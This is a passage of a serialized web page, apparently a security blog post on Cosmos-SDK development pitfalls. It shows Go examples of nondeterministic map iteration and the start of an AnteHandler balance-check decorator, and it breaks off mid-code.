next.",{"type":23,"tag":24,"props":75083,"children":75084},{},[75085,75087,75092],{"type":28,"value":75086},"To correctly implement iteration orders, developers must explicitly sort the keys of the ",{"type":23,"tag":64,"props":75088,"children":75090},{"className":75089},[],[75091],{"type":28,"value":64631},{"type":28,"value":75093}," and then fetch the values using the sorted key array before emitting them.",{"type":23,"tag":435,"props":75095,"children":75097},{"code":75096,"language":73696,"meta":7,"className":73697,"style":7},"type ObjectMap map[string]string\n\nfunc EmitEntries(objectMap ObjectMap) {\n var keys []string\n for key := range objectMap {\n keys = append(keys, key)\n }\n sort.Strings(keys)\n\n for _, key := range keys {\n ctx.EventManager.EmitEvent(\n sdk.NewEvent(\n \"MapContext\",\n sdk.NewAttribute(key, objectMap[key]),\n )\n )\n }\n}\n",[75098],{"type":23,"tag":64,"props":75099,"children":75100},{"__ignoreMap":7},[75101,75132,75139,75166,75186,75213,75249,75256,75285,75292,75327,75354,75373,75384,75428,75435,75442,75449],{"type":23,"tag":481,"props":75102,"children":75103},{"class":483,"line":484},[75104,75108,75112,75116,75120,75124,75128],{"type":23,"tag":481,"props":75105,"children":75106},{"style":497},[75107],{"type":28,"value":30272},{"type":23,"tag":481,"props":75109,"children":75110},{"style":943},[75111],{"type":28,"value":74846},{"type":23,"tag":481,"props":75113,"children":75114},{"style":497},[75115],{"type":28,"value":47194},{"type":23,"tag":481,"props":75117,"children":75118},{"style":525},[75119],{"type":28,"value":1269},{"type":23,"tag":481,"props":75121,"children":75122},{"style":943},[75123],{"type":28,"value":27180},{"type":23,"tag":481,"props":75125,"children":75126},{"style":525},[75127],{"type":28,"value":12900},{"type":23,"tag":481,"props":75129,"children":75130},{"style":943},[75131],{"type":28,"value":74867},{"type":23,"tag":481,"props":75133,"children":75134},{"class":483,"line":351},[75135],{"type":23,"tag":481,"props":75136,"children":75137},{"emptyLinePlaceholder":15},[75138],{"type":28,"value":1210},{"type":23,"tag":481,"props":75140,"children":75141},{"class":483,"line":531},[75142,75146,75150,75154,75158,75162],{"type":23,"tag":481,"props":75143,"children":75144},{"style":497},[75145],{"type":28,"value":73832},{"type":23,"tag":481,"props":75147,"children":75148},{"style":610},[75149],{"type":28,"value":74886},{"type":23,"tag":481,"props":75151,"children":75152},{"style":525},[75153],{"type":28,"value":618},{"type":23,"tag":481,"props":75155,"children":75156},{"style":508},[75157],{"type":28,"value":74895},{"type":23,"tag":481,"props":75159,"children":75160},{"style":943},[75161],{"type":28,"value":74846},{"type":23,"tag":481,"props":75163,"children":75164},{"style":525},[75165],{"type":28,"value":12292},{"type":23,"tag":481,"props":75167,"children":75168},{"class":483,"line":567},[75169,75174,75178,75182],{"type":23,"tag":481,"props":75170,"children":75171},{"style":497},[75172],{"type":28,"value":75173}," var",{"type":23,"tag":481,"props":75175,"children":75176},{"style":508},[75177],{"type":28,"value":18878},{"type":23,"tag":481,"props":75179,"children":75180},{"style":525},[75181],{"type":28,"value":73759},{"type":23,"tag":481,"props":75183,"children":75184},{"style":943},[75185],{"type":28,"value":74867},{"type":23,"tag":481,"props":75187,"children":75188},{"class":483,"line":678},[75189,75193,75197,75201,75205,75209],{"type":23,"tag":481,"props":75190,"children":75191},{"style":535},[75192],{"type":28,"value":538},{"type":23,"tag":481,"props":75194,"children":75195},{"style":508},[75196],{"type":28,"value":3408},{"type":23,"tag":481,"props":75198,"children":75199},{"style":514},[75200],{"type":28,"value":73948},{"type":23,"tag":481,"props":75202,"children":75203},{"style":535},[75204],{"type":28,"value":74931},{"type":23,"tag":481,"props":75206,"children":75207},{"style":508},[75208],{"type":28,"value":74936},{"type":23,"tag":481,"props":75210,"children":75211},{"style":525},[75212],{"type":28,"value":809},{"type":23,"tag":481,"props":75214,"children":75215},{"class":483,"line":784},[75216,75220,75224,75229,75233,75237,75241,75245],{"type":23,"tag":481,"props":75217,"children":75218},{"style":508},[75219],{"type":28,"value":22842},{"type":23,"tag":481,"props":75221,"children":75222},{"style":514},[75223],{"type":28,"value":517},{"type":23,"tag":481,"props":75225,"children":75226},{"style":610},[75227],{"type":28,"value":75228}," append",{"type":23,"tag":481,"props":75230,"children":75231},{"style":525},[75232],{"type":28,"value":618},{"type":23,"tag":481,"props":75234,"children":75235},{"style":508},[75236],{"type":28,"value":18481},{"type":23,"tag":481,"props":75238,"children":75239},{"style":525},[75240],{"type":28,"value":588},{"type":23,"tag":481,"props":75242,"children":75243},{"style":508},[75244],{"type":28,"value":69686},{"type":23,"tag":481,"props":75246,"children":75247},{"style":525},[75248],{"type":28,"value":675},{"type":23,"tag":481,"props":75250,"children":75251},{"class":483,"line":812},[75252],{"type":23,"tag":481,"props":75253,"children":75254},{"style":525},[75255],{"type":28,"value":879},{"type":23,"tag":481,"props":75257,"children":75258},{"class":483,"line":825},[75259,75264,75268,75273,75277,75281],{"type":23,"tag":481,"props":75260,"children":75261},{"style":508},[75262],{"type":28,"value":75263}," sort",{"type":23,"tag":481,"props":75265,"children":75266},{"style":525},[75267],{"type":28,"value":199},{"type":23,"tag":481,"props":75269,"children":75270},{"style":610},[75271],{"type":28,"value":75272},"Strings",{"type":23,"tag":481,"props":75274,"children":75275},{"style":525},[75276],{"type":28,"value":618},{"type":23,"tag":481,"props":75278,"children":75279},{"style":508},[75280],{"type":28,"value":18481},{"type":23,"tag":481,"props":75282,"children":75283},{"style":525},[75284],{"type":28,"value":675},{"type":23,"tag":481,"props":75286,"children":75287},{"class":483,"line":843},[75288],{"type":23,"tag":481,"props":75289,"children":75290},{"emptyLinePlaceholder":15},[75291],{"type":28,"value":1210},{"type":23,"tag":481,"props":75293,"children":75294},{"class":483,"line":864},[75295,75299,75303,75307,75311,75315,75319,75323],{"type":23,"tag":481,"props":75296,"children":75297},{"style":535},[75298],{"type":28,"value":538},{"type":23,"tag":481,"props":75300,"children":75301},{"style":508},[75302],{"type":28,"value":543},{"type":23,"tag":481,"props":75304,"children":75305},{"style":525},[75306],{"type":28,"value":588},{"type":23,"tag":481,"props":75308,"children":75309},{"style":508},[75310],{"type":28,"value":69686},{"type":23,"tag":481,"props":75312,"children":75313},{"style":514},[75314],{"type":28,"value":73948},{"type":23,"tag":481,"props":75316,"children":75317},{"style":535},[75318],{"type":28,"value":74931},{"type":23,"tag":481,"props":75320,"children":75321},{"style":508},[75322],{"type":28,"value":18878},{"type":23,"tag":481,"props":75324,"children":75325},{"style":525},[75326],{"type":28,"value":809},{"type":23,"tag":481,"props":75328,"children":75329},{"class":483,"line":873},[75330,75334,75338,75342,75346,75350],{"type":23,"tag":481,"props":75331,"children":75332},{"style":508},[75333],{"type":28,"value":23697},{"type":23,"tag":481,"props":75335,"children":75336},{"style":525},[75337],{"type":28,"value":199},{"type":23,"tag":481,"props":75339,"children":75340},{"style":508},[75341],{"type":28,"value":74956},{"type":23,"tag":481,"props":75343,"children":75344},{"style":525},[75345],{"type":28,"value":199},{"type":23,"tag":481,"props":75347,"children":75348},{"style":610},[75349],{"type":28,"value":74965},{"type":23,"tag":481,"props":75351,"children":75352},{"style":525},[75353],{"type":28,"value":988},{"type":23,"tag":481,"props":75355,"children":75356},{"class":483,"line":1125},[75357,75361,75365,75369],{"type":23,"tag":481,"props":75358,"children":75359},{"style":508},[75360],{"type":28,"value":74977},{"type":23,"tag":481,"props":75362,"children":75363},{"style":525},[75364],{"type":28,"value":199},{"type":23,"tag":481,"props":75366,"children":75367},{"style":610},[75368],{"type":28,"value":74986},{"type":23,"tag":481,"props":75370,"children":75371},{"style":525},[75372],{"type":28,"value":988},{"type":23,"tag":481,"props":75374,"children":75375},{"class":483,"line":1142},[75376,75380],{"type":23,"tag":481,"props":75377,"children":75378},{"style":1805},[75379],{"type":28,"value":74998},{"type":23,"tag":481,"props":75381,"children":75382},{"style":525},[75383],{"type":28,"value":1033},{"type":23,"tag":481,"props":75385,"children":75386},{"class":483,"line":1159},[75387,75391,75395,75399,75403,75407,75411,75415,75419,75423],{"type":23,"tag":481,"props":75388,"children":75389},{"style":508},[75390],{"type":28,"value":75010},{"type":23,"tag":481,"props":75392,"children":75393},{"style":525},[75394],{"type":28,"value":199},{"type":23,"tag":481,"props":75396,"children":75397},{"style":610},[75398],{"type":28,"value":75019},{"type":23,"tag":481,"props":75400,"children":75401},{"style":525},[75402],{"type":28,"value":618},{"type":23,"tag":481,"props":75404,"children":75405},{"style":508},[75406],{"type":28,"value":69686},{"type":23,"tag":481,"props":75408,"children":75409},{"style":525},[75410],{"type":28,"value":588},{"type":23,"tag":481,"props":75412,"children":75413},{"style":508},[75414],{"type":28,"value":74895},{"type":23,"tag":481,"props":75416,"children":75417},{"style":525},[75418],{"type":28,"value":1269},{"type":23,"tag":481,"props":75420,"children":75421},{"style":508},[75422],{"type":28,"value":69686},{"type":23,"tag":481,"props":75424,"children":75425},{"style":525},[75426],{"type":28,"value":75427},"]),\n",{"type":23,"tag":481,"props":75429,"children":75430},{"class":483,"line":1172},[75431],{"type":23,"tag":481,"props":75432,"children":75433},{"style":525},[75434],{"type":28,"value":75047},{"type":23,"tag":481,"props":75436,"children":75437},{"class":483,"line":1181},[75438],{"type":23,"tag":481,"props":75439,"children":75440},{"style":525},[75441],{"type":28,"value":65850},{"type":23,"tag":481,"props":75443,"children":75444},{"class":483,"line":1204},[75445],{"type":23,"tag":481,"props":75446,"children":75447},{"style":525},[75448],{"type":28,"value":879},{"type":23,"tag":481,"props":75450,"children":75451},{"class":483,"line":1213},[75452],{"type":23,"tag":481,"props":75453,"children":75454},{"style":525},[75455],{"type":28,"value":1443},{"type":23,"tag":24,"props":75457,"children":75458},{},[75459],{"type":28,"value":75460},"The combination of hidden code within external Golang dependencies makes it difficult to avoid language-wise quirks fully. It is crucial to remain vigilant and avoid underestimating the gravity of this lingering bug class.",{"type":23,"tag":7092,"props":75462,"children":75464},{"id":75463},"real-world-examples-1",[75465],{"type":28,"value":74221},{"type":23,"tag":24,"props":75467,"children":75468},{},[75469,75471,75476,75478,75484,75486,75492,75494,75500],{"type":28,"value":75470},"Real-world examples of ",{"type":23,"tag":64,"props":75472,"children":75474},{"className":75473},[],[75475],{"type":28,"value":64631},{"type":28,"value":75477}," causing determinism problems can be found ",{"type":23,"tag":190,"props":75479,"children":75482},{"href":75480,"rel":75481},"https://github.com/cosmos/cosmos-sdk/pull/12487",[194],[75483],{"type":28,"value":45109},{"type":28,"value":75485},", specifically, where the result of ",{"type":23,"tag":64,"props":75487,"children":75489},{"className":75488},[],[75490],{"type":28,"value":75491},"buildCommitInfo",{"type":28,"value":75493}," is inconsistent due to iteration over the ",{"type":23,"tag":64,"props":75495,"children":75497},{"className":75496},[],[75498],{"type":28,"value":75499},"rs.stores",{"type":28,"value":75501}," map.",{"type":23,"tag":24,"props":75503,"children":75504},{},[75505],{"type":23,"tag":190,"props":75506,"children":75509},{"href":75507,"rel":75508},"https://github.com/cosmos/cosmos-sdk/blob/55054282d2df794d9a5fe2599ea25473379ebc3d/store/rootmulti/store.go#L909",[194],[75510],{"type":28,"value":74271},{"type":23,"tag":435,"props":75512,"children":75514},{"code":75513,"language":73696,"meta":7,"className":73697,"style":7},"func (rs *Store) buildCommitInfo(\n version int64\n) *types.CommitInfo {\n storeInfos := []types.StoreInfo{}\n for key, store := range rs.stores {\n if store.GetStoreType() == types.StoreTypeTransient {\n continue\n }\n storeInfos = append(storeInfos, types.StoreInfo{\n Name: key.Name(),\n CommitId: store.LastCommitID(),\n })\n }\n return &types.CommitInfo{\n Version: version,\n StoreInfos: storeInfos,\n }\n}\n",[75515],{"type":23,"tag":64,"props":75516,"children":75517},{"__ignoreMap":7},[75518,75555,75568,75596,75630,75675,75721,75729,75736,75781,75811,75840,75847,75854,75881,75903,75923,75930],{"type":23,"tag":481,"props":75519,"children":75520},{"class":483,"line":484},[75521,75525,75529,75534,75538,75543,75547,75551],{"type":23,"tag":481,"props":75522,"children":75523},{"style":497},[75524],{"type":28,"value":73832},{"type":23,"tag":481,"props":75526,"children":75527},{"style":525},[75528],{"type":28,"value":578},{"type":23,"tag":481,"props":75530,"children":75531},{"style":508},[75532],{"type":28,"value":75533},"rs ",{"type":23,"tag":481,"props":75535,"children":75536},{"style":514},[75537],{"type":28,"value":2120},{"type":23,"tag":481,"props":75539,"children":75540},{"style":943},[75541],{"type":28,"value":75542},"Store",{"type":23,"tag":481,"props":75544,"children":75545},{"style":525},[75546],{"type":28,"value":598},{"type":23,"tag":481,"props":75548,"children":75549},{"style":610},[75550],{"type":28,"value":75491},{"type":23,"tag":481,"props":75552,"children":75553},{"style":525},[75554],{"type":28,"value":988},{"type":23,"tag":481,"props":75556,"children":75557},{"class":483,"line":351},[75558,75563],{"type":23,"tag":481,"props":75559,"children":75560},{"style":508},[75561],{"type":28,"value":75562}," version",{"type":23,"tag":481,"props":75564,"children":75565},{"style":943},[75566],{"type":28,"value":75567}," int64\n",{"type":23,"tag":481,"props":75569,"children":75570},{"class":483,"line":531},[75571,75575,75579,75583,75587,75592],{"type":23,"tag":481,"props":75572,"children":75573},{"style":525},[75574],{"type":28,"value":598},{"type":23,"tag":481,"props":75576,"children":75577},{"style":514},[75578],{"type":28,"value":2120},{"type":23,"tag":481,"props":75580,"children":75581},{"style":943},[75582],{"type":28,"value":3234},{"type":23,"tag":481,"props":75584,"children":75585},{"style":525},[75586],{"type":28,"value":199},{"type":23,"tag":481,"props":75588,"children":75589},{"style":943},[75590],{"type":28,"value":75591},"CommitInfo",{"type":23,"tag":481,"props":75593,"children":75594},{"style":525},[75595],{"type":28,"value":809},{"type":23,"tag":481,"props":75597,"children":75598},{"class":483,"line":567},[75599,75604,75608,75612,75616,75620,75625],{"type":23,"tag":481,"props":75600,"children":75601},{"style":508},[75602],{"type":28,"value":75603}," storeInfos",{"type":23,"tag":481,"props":75605,"children":75606},{"style":514},[75607],{"type":28,"value":73948},{"type":23,"tag":481,"props":75609,"children":75610},{"style":525},[75611],{"type":28,"value":73759},{"type":23,"tag":481,"props":75613,"children":75614},{"style":943},[75615],{"type":28,"value":3234},{"type":23,"tag":481,"props":75617,"children":75618},{"style":525},[75619],{"type":28,"value":199},{"type":23,"tag":481,"props":75621,"children":75622},{"style":943},[75623],{"type":28,"value":75624},"StoreInfo",{"type":23,"tag":481,"props":75626,"children":75627},{"style":525},[75628],{"type":28,"value":75629},"{}\n",{"type":23,"tag":481,"props":75631,"children":75632},{"class":483,"line":678},[75633,75637,75641,75645,75649,75653,75657,75662,75666,75671],{"type":23,"tag":481,"props":75634,"children":75635},{"style":535},[75636],{"type":28,"value":538},{"type":23,"tag":481,"props":75638,"children":75639},{"style":508},[75640],{"type":28,"value":3408},{"type":23,"tag":481,"props":75642,"children":75643},{"style":525},[75644],{"type":28,"value":588},{"type":23,"tag":481,"props":75646,"children":75647},{"style":508},[75648],{"type":28,"value":3417},{"type":23,"tag":481,"props":75650,"children":75651},{"style":514},[75652],{"type":28,"value":73948},{"type":23,"tag":481,"props":75654,"children":75655},{"style":535},[75656],{"type":28,"value":74931},{"type":23,"tag":481,"props":75658,"children":75659},{"style":508},[75660],{"type":28,"value":75661}," rs",{"type":23,"tag":481,"props":75663,"children":75664},{"style":525},[75665],{"type":28,"value":199},{"type":23,"tag":481,"props":75667,"children":75668},{"style":508},[75669],{"type":28,"value":75670},"stores",{"type":23,"tag":481,"props":75672,"children":75673},{"style":525},[75674],{"type":28,"value":809},{"type":23,"tag":481,"props":75676,"children":75677},{"class":483,"line":784},[75678,75682,75686,75690,75695,75699,75703,75708,75712,75717],{"type":23,"tag":481,"props":75679,"children":75680},{"style":535},[75681],{"type":28,"value":790},{"type":23,"tag":481,"props":75683,"children":75684},{"style":508},[75685],{"type":28,"value":3307},{"type":23,"tag":481,"props":75687,"children":75688},{"style":525},[75689],{"type":28,"value":199},{"type":23,"tag":481,"props":75691,"children":75692},{"style":610},[75693],{"type":28,"value":75694},"GetStoreType",{"type":23,"tag":481,"props":75696,"children":75697},{"style":525},[75698],{"type":28,"value":11531},{"type":23,"tag":481,"props":75700,"children":75701},{"style":514},[75702],{"type":28,"value":6055},{"type":23,"tag":481,"props":75704,"children":75705},{"style":508},[75706],{"type":28,"value":75707}," types",{"type":23,"tag":481,"props":75709,"children":75710},{"style":525},[75711],{"type":28,"value":199},{"type":23,"tag":481,"props":75713,"children":75714},{"style":508},[75715],{"type":28,"value":75716},"StoreTypeTransient",{"type":23,"tag":481,"props":75718,"children":75719},{"style":525},[75720],{"type":28,"value":809},{"type":23,"tag":481,"props":75722,"children":75723},{"class":483,"line":812},[75724],{"type":23,"tag":481,"props":75725,"children":75726},{"style":535},[75727],{"type":28,"value":75728}," continue\n",{"type":23,"tag":481,"props":75730,"children":75731},{"class":483,"line":825},[75732],{"type":23,"tag":481,"props":75733,"children":75734},{"style":525},[75735],{"type":28,"value":870},{"type":23,"tag":481,"props":75737,"children":75738},{"class":483,"line":843},[75739,75744,75748,75752,75756,75761,75765,75769,75773,75777],{"type":23,"tag":481,"props":75740,"children":75741},{"style":508},[75742],{"type":28,"value":75743}," storeInfos",{"type":23,"tag":481,"props":75745,"children":75746},{"style":514},[75747],{"type":28,"value":517},{"type":23,"tag":481,"props":75749,"children":75750},{"style":610},[75751],{"type":28,"value":75228},{"type":23,"tag":481,"props":75753,"children":75754},{"style":525},[75755],{"type":28,"value":618},{"type":23,"tag":481,"props":75757,"children":75758},{"style":508},[75759],{"type":28,"value":75760},"storeInfos",{"type":23,"tag":481,"props":75762,"children":75763},{"style":525},[75764],{"type":28,"value":588},{"type":23,"tag":481,"props":75766,"children":75767},{"style":943},[75768],{"type":28,"value":3234},{"type":23,"tag":481,"props":75770,"children":75771},{"style":525},[75772],{"type":28,"value":199},{"type":23,"tag":481,"props":75774,"children":75775},{"style":943},[75776],{"type":28,"value":75624},{"type":23,"tag":481,"props":75778,"children":75779},{"style":525},[75780],{"type":28,"value":8366},{"type":23,"tag":481,"props":75782,"children":75783},{"class":483,"line":864},[75784,75789,75794,75798,75802,75807],{"type":23,"tag":481,"props":75785,"children":75786},{"style":508},[75787],{"type":28,"value":75788}," Name",{"type":23,"tag":481,"props":75790,"children":75791},{"style":525},[75792],{"type":28,"value":75793},": ",{"type":23,"tag":481,"props":75795,"children":75796},{"style":508},[75797],{"type":28,"value":69686},{"type":23,"tag":481,"props":75799,"children":75800},{"style":525},[75801],{"type":28,"value":199},{"type":23,"tag":481,"props":75803,"children":75804},{"style":610},[75805],{"type":28,"value":75806},"Name",{"type":23,"tag":481,"props":75808,"children":75809},{"style":525},[75810],{"type":28,"value":1016},{"type":23,"tag":481,"props":75812,"children":75813},{"class":483,"line":873},[75814,75819,75823,75827,75831,75836],{"type":23,"tag":481,"props":75815,"children":75816},{"style":508},[75817],{"type":28,"value":75818}," CommitId",{"type":23,"tag":481,"props":75820,"children":75821},{"style":525},[75822],{"type":28,"value":12820},{"type":23,"tag":481,"props":75824,"children":75825},{"style":508},[75826],{"type":28,"value":3417},{"type":23,"tag":481,"props":75828,"children":75829},{"style":525},[75830],{"type":28,"value":199},{"type":23,"tag":481,"props":75832,"children":75833},{"style":610},[75834],{"type":28,"value":75835},"LastCommitID",{"type":23,"tag":481,"props":75837,"children":75838},{"style":525},[75839],{"type":28,"value":1016},{"type":23,"tag":481,"props":75841,"children":75842},{"class":483,"line":1125},[75843],{"type":23,"tag":481,"props":75844,"children":75845},{"style":525},[75846],{"type":28,"value":65727},{"type":23,"tag":481,"props":75848,"children":75849},{"class":483,"line":1142},[75850],{"type":23,"tag":481,"props":75851,"children":75852},{"style":525},[75853],{"type":28,"value":879},{"type":23,"tag":481,"props":75855,"children":75856},{"class":483,"line":1159},[75857,75861,75865,75869,75873,75877],{"type":23,"tag":481,"props":75858,"children":75859},{"style":535},[75860],{"type":28,"value":14481},{"type":23,"tag":481,"props":75862,"children":75863},{"style":514},[75864],{"type":28,"value":4619},{"type":23,"tag":481,"props":75866,"children":75867},{"style":943},[75868],{"type":28,"value":3234},{"type":23,"tag":481,"props":75870,"children":75871},{"style":525},[75872],{"type":28,"value":199},{"type":23,"tag":481,"props":75874,"children":75875},{"style":943},[75876],{"type":28,"value":75591},{"type":23,"tag":481,"props":75878,"children":75879},{"style":525},[75880],{"type":28,"value":8366},{"type":23,"tag":481,"props":75882,"children":75883},{"class":483,"line":1172},[75884,75889,75894,75899],{"type":23,"tag":481,"props":75885,"children":75886},{"style":508},[75887],{"type":28,"value":75888}," Version",{"type":23,"tag":481,"props":75890,"children":75891},{"style":525},[75892],{"type":28,"value":75893},": ",{"type":23,"tag":481,"props":75895,"children":75896},{"style":508},[75897],{"type":28,"value":75898},"version",{"type":23,"tag":481,"props":75900,"children":75901},{"style":525},[75902],{"type":28,"value":1033},{"type":23,"tag":481,"props":75904,"children":75905},{"class":483,"line":1181},[75906,75911,75915,75919],{"type":23,"tag":481,"props":75907,"children":75908},{"style":508},[75909],{"type":28,"value":75910}," StoreInfos",{"type":23,"tag":481,"props":75912,"children":75913},{"style":525},[75914],{"type":28,"value":12820},{"type":23,"tag":481,"props":75916,"children":75917},{"style":508},[75918],{"type":28,"value":75760},{"type":23,"tag":481,"props":75920,"children":75921},{"style":525},[75922],{"type":28,"value":1033},{"type":23,"tag":481,"props":75924,"children":75925},{"class":483,"line":1204},[75926],{"type":23,"tag":481,"props":75927,"children":75928},{"style":525},[75929],{"type":28,"value":879},{"type":23,"tag":481,"props":75931,"children":75932},{"class":483,"line":1213},[75933],{"type":23,"tag":481,"props":75934,"children":75935},{"style":525},[75936],{"type":28,"value":1443},{"type":23,"tag":24,"props":75938,"children":75939},{},[75940,75942,75949,75950,75957],{"type":28,"value":75941},"Other factors contributing to determinism issues are the usage of ",{"type":23,"tag":190,"props":75943,"children":75946},{"href":75944,"rel":75945},"https://medium.com/provenanceblockchain/discovering-non-deterministic-behavior-in-provenance-blockchain-and-cosmos-sdk-3b81b87b8698",[194],[75947],{"type":28,"value":75948},"time-sensitive functions",{"type":28,"value":8478},{"type":23,"tag":190,"props":75951,"children":75954},{"href":75952,"rel":75953},"https://github.com/cosmos/cosmos-sdk/issues/16638",[194],[75955],{"type":28,"value":75956},"race conditions",{"type":28,"value":199},{"type":23,"tag":31,"props":75959,"children":75961},{"id":75960},"thou-shalt-not-passor-should-you",[75962],{"type":28,"value":75963},"Thou Shalt Not Pass...Or Should You?",{"type":23,"tag":24,"props":75965,"children":75966},{},[75967,75969,75975,75976,75982],{"type":28,"value":75968},"When developing smart contracts, it is common to delegate certain low-level tasks (such as parsing ",{"type":23,"tag":64,"props":75970,"children":75972},{"className":75971},[],[75973],{"type":28,"value":75974},"msg.value",{"type":28,"value":588},{"type":23,"tag":64,"props":75977,"children":75979},{"className":75978},[],[75980],{"type":28,"value":75981},"msg.sender",{"type":28,"value":75983},", and collecting transaction fees) to the underlying blockchain.",{"type":23,"tag":24,"props":75985,"children":75986},{},[75987,75989,75995,75997,76003],{"type":28,"value":75988},"On Cosmos, there is no blockchain to rely on since it is the L1 itself! To simplify the development of middleware-like functionalities, ",{"type":23,"tag":64,"props":75990,"children":75992},{"className":75991},[],[75993],{"type":28,"value":75994},"Cosmos-SDK",{"type":28,"value":75996}," introduces ",{"type":23,"tag":64,"props":75998,"children":76000},{"className":75999},[],[76001],{"type":28,"value":76002},"AnteHandler",{"type":28,"value":76004}," decorators to help accomplish this. While there are pre-written decorators, all other data extraction from transactions and blockchain states must be carried out by the developers themselves.",{"type":23,"tag":24,"props":76006,"children":76007},{},[76008,76010,76015,76017,76022],{"type":28,"value":76009},"To provide context, let's first understand how an ",{"type":23,"tag":64,"props":76011,"children":76013},{"className":76012},[],[76014],{"type":28,"value":76002},{"type":28,"value":76016}," is processed. Each ",{"type":23,"tag":64,"props":76018,"children":76020},{"className":76019},[],[76021],{"type":28,"value":76002},{"type":28,"value":76023}," is a state transition function that can:",{"type":23,"tag":73,"props":76025,"children":76026},{},[76027,76032],{"type":23,"tag":77,"props":76028,"children":76029},{},[76030],{"type":28,"value":76031},"Transform the block state in relation to transaction and execution context.",{"type":23,"tag":77,"props":76033,"children":76034},{},[76035,76037],{"type":28,"value":76036},"Determine the course of action for the transaction.\n",{"type":23,"tag":73,"props":76038,"children":76039},{},[76040,76051],{"type":23,"tag":77,"props":76041,"children":76042},{},[76043,76045,76050],{"type":28,"value":76044},"Pass the transaction to the next ",{"type":23,"tag":64,"props":76046,"children":76048},{"className":76047},[],[76049],{"type":28,"value":76002},{"type":28,"value":199},{"type":23,"tag":77,"props":76052,"children":76053},{},[76054],{"type":28,"value":76055},"Return error for transaction.",{"type":23,"tag":24,"props":76057,"children":76058},{},[76059,76061,76066],{"type":28,"value":76060},"The bad news is that developing an ",{"type":23,"tag":64,"props":76062,"children":76064},{"className":76063},[],[76065],{"type":28,"value":76002},{"type":28,"value":76067}," is not the easiest task. For instance, let's consider a scenario where we need to ensure all signers involved in a transaction have a balance greater than X at the time of transaction execution.",{"type":23,"tag":24,"props":76069,"children":76070},{},[76071,76072,76078],{"type":28,"value":14104},{"type":23,"tag":64,"props":76073,"children":76075},{"className":76074},[],[76076],{"type":28,"value":76077},"AnteHandle",{"type":28,"value":76079}," implementation may look something like this:",{"type":23,"tag":435,"props":76081,"children":76083},{"code":76082,"language":73696,"meta":7,"className":73697,"style":7},"const (\n MIN_BALANCE = 100\n)\n\nfunc (abd AccountBalanceDecorator) AnteHandle(\n ctx sdk.Context,\n tx sdk.Tx,\n simulate bool,\n next sdk.AnteHandler,\n) (sdk.Context, error) {\n sigTx, ok := tx.(authsigning.SigVerifiableTx)\n if !ok {\n return ctx, errorsmod.Wrap(\n sdkerrors.ErrTxDecode,\n \"invalid tx type\",\n )\n }\n\n signers := sigTx.GetSigners()\n for i, signer := range signers {\n balance := abd.bk.getBalance(ctx, signer, ATOM)\n if balance.Amount \u003C MIN_BALANCE {\n return ctx, errorsmod.Wrap(\n ErrInsufficientBalance,\n \"Insufficient Balance\",\n )\n }\n }\n\n return next(ctx, tx, simulate)\n}\n",[76084],{"type":23,"tag":64,"props":76085,"children":76086},{"__ignoreMap":7},[76087,76099,76115,76122,76129,76162,76186,76211,76227,76251,76283,76331,76350,76383,76404,76416,76423,76430,76437,76467,76503,76567,76601,76633,76645,76657,76664,76671,76678,76685,76727],{"type":23,"tag":481,"props":76088,"children":76089},{"class":483,"line":484},[76090,76094],{"type":23,"tag":481,"props":76091,"children":76092},{"style":497},[76093],{"type":28,"value":7139},{"type":23,"tag":481,"props":76095,"children":76096},{"style":525},[76097],{"type":28,"value":76098}," (\n",{"type":23,"tag":481,"props":76100,"children":76101},{"class":483,"line":351},[76102,76107,76111],{"type":23,"tag":481,"props":76103,"children":76104},{"style":508},[76105],{"type":28,"value":76106}," MIN_BALANCE",{"type":23,"tag":481,"props":76108,"children":76109},{"style":514},[76110],{"type":28,"value":517},{"type":23,"tag":481,"props":76112,"children":76113},{"style":551},[76114],{"type":28,"value":16839},{"type":23,"tag":481,"props":76116,"children":76117},{"class":483,"line":531},[76118],{"type":23,"tag":481,"props":76119,"children":76120},{"style":525},[76121],{"type":28,"value":675},{"type":23,"tag":481,"props":76123,"children":76124},{"class":483,"line":567},[76125],{"type":23,"tag":481,"props":76126,"children":76127},{"emptyLinePlaceholder":15},[76128],{"type":28,"value":1210},{"type":23,"tag":481,"props":76130,"children":76131},{"class":483,"line":678},[76132,76136,76140,76145,76150,76154,76158],{"type":23,"tag":481,"props":76133,"children":76134},{"style":497},[76135],{"type":28,"value":73832},{"type":23,"tag":481,"props":76137,"children":76138},{"style":525},[76139],{"type":28,"value":578},{"type":23,"tag":481,"props":76141,"children":76142},{"style":508},[76143],{"type":28,"value":76144},"abd ",{"type":23,"tag":481,"props":76146,"children":76147},{"style":943},[76148],{"type":28,"value":76149},"AccountBalanceDecorator",{"type":23,"tag":481,"props":76151,"children":76152},{"style":525},[76153],{"type":28,"value":598},{"type":23,"tag":481,"props":76155,"children":76156},{"style":610},[76157],{"type":28,"value":76077},{"type":23,"tag":481,"props":76159,"children":76160},{"style":525},[76161],{"type":28,"value":988},{"type":23,"tag":481,"props":76163,"children":76164},{"class":483,"line":784},[76165,76169,76174,76178,76182],{"type":23,"tag":481,"props":76166,"children":76167},{"style":508},[76168],{"type":28,"value":17721},{"type":23,"tag":481,"props":76170,"children":76171},{"style":943},[76172],{"type":28,"value":76173}," sdk",{"type":23,"tag":481,"props":76175,"children":76176},{"style":525},[76177],{"type":28,"value":199},{"type":23,"tag":481,"props":76179,"children":76180},{"style":943},[76181],{"type":28,"value":73881},{"type":23,"tag":481,"props":76183,"children":76184},{"style":525},[76185],{"type":28,"value":1033},{"type":23,"tag":481,"props":76187,"children":76188},{"class":483,"line":812},[76189,76194,76198,76202,76207],{"type":23,"tag":481,"props":76190,"children":76191},{"style":508},[76192],{"type":28,"value":76193}," tx",{"type":23,"tag":481,"props":76195,"children":76196},{"style":943},[76197],{"type":28,"value":76173},{"type":23,"tag":481,"props":76199,"children":76200},{"style":525},[76201],{"type":28,"value":199},{"type":23,"tag":481,"props":76203,"children":76204},{"style":943},[76205],{"type":28,"value":76206},"Tx",{"type":23,"tag":481,"props":76208,"children":76209},{"style":525},[76210],{"type":28,"value":1033},{"type":23,"tag":481,"props":76212,"children":76213},{"class":483,"line":825},[76214,76219,76223],{"type":23,"tag":481,"props":76215,"children":76216},{"style":508},[76217],{"type":28,"value":76218}," simulate",{"type":23,"tag":481,"props":76220,"children":76221},{"style":943},[76222],{"type":28,"value":9537},{"type":23,"tag":481,"props":76224,"children":76225},{"style":525},[76226],{"type":28,"value":1033},{"type":23,"tag":481,"props":76228,"children":76229},{"class":483,"line":843},[76230,76235,76239,76243,76247],{"type":23,"tag":481,"props":76231,"children":76232},{"style":508},[76233],{"type":28,"value":76234}," 